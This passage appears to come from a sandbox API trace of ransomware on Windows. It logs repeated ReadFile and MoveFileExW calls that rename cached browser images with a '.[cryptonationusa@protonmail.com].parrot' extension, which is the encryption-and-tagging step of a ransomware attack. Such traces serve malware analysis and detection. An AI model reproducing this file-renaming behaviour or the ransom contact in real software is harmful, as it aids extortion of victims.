files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.342] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.343] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.392] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.393] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a48, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2a48, lpOverlapped=0x0) returned 1 [0080.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.394] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.399] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.399] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.400] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.400] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x87f, lpOverlapped=0x0) returned 1 [0080.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.401] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.405] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.407] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.407] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3faf, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3faf, lpOverlapped=0x0) returned 1 [0080.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.408] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.412] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.414] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaa9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xaa9, lpOverlapped=0x0) returned 1 [0080.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.414] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.417] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.417] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.419] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.419] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d26, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1d26, lpOverlapped=0x0) returned 1 [0080.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.420] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2228098 | out: hHeap=0x5b0000) returned 1 [0080.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.423] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.425] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x780, lpOverlapped=0x0) returned 1 [0080.425] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.425] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.428] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.428] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.430] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7be, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7be, lpOverlapped=0x0) returned 1 [0080.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.430] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.433] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.433] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.472] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3a2a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3a2a, lpOverlapped=0x0) returned 1 [0080.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.474] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.477] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.477] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.479] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2f76, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2f76, lpOverlapped=0x0) returned 1 [0080.482] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.483] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0080.487] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.487] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.488] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.489] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x786, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x786, lpOverlapped=0x0) returned 1 [0080.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.489] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.493] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.493] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.494] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.494] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa07, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa07, lpOverlapped=0x0) returned 1 [0080.494] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.495] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2227058 | out: hHeap=0x5b0000) returned 1 [0080.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.498] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0080.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.500] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1998, lpOverlapped=0x0) returned 1 [0080.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.501] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0080.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0080.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0080.507] HeapFree (in: 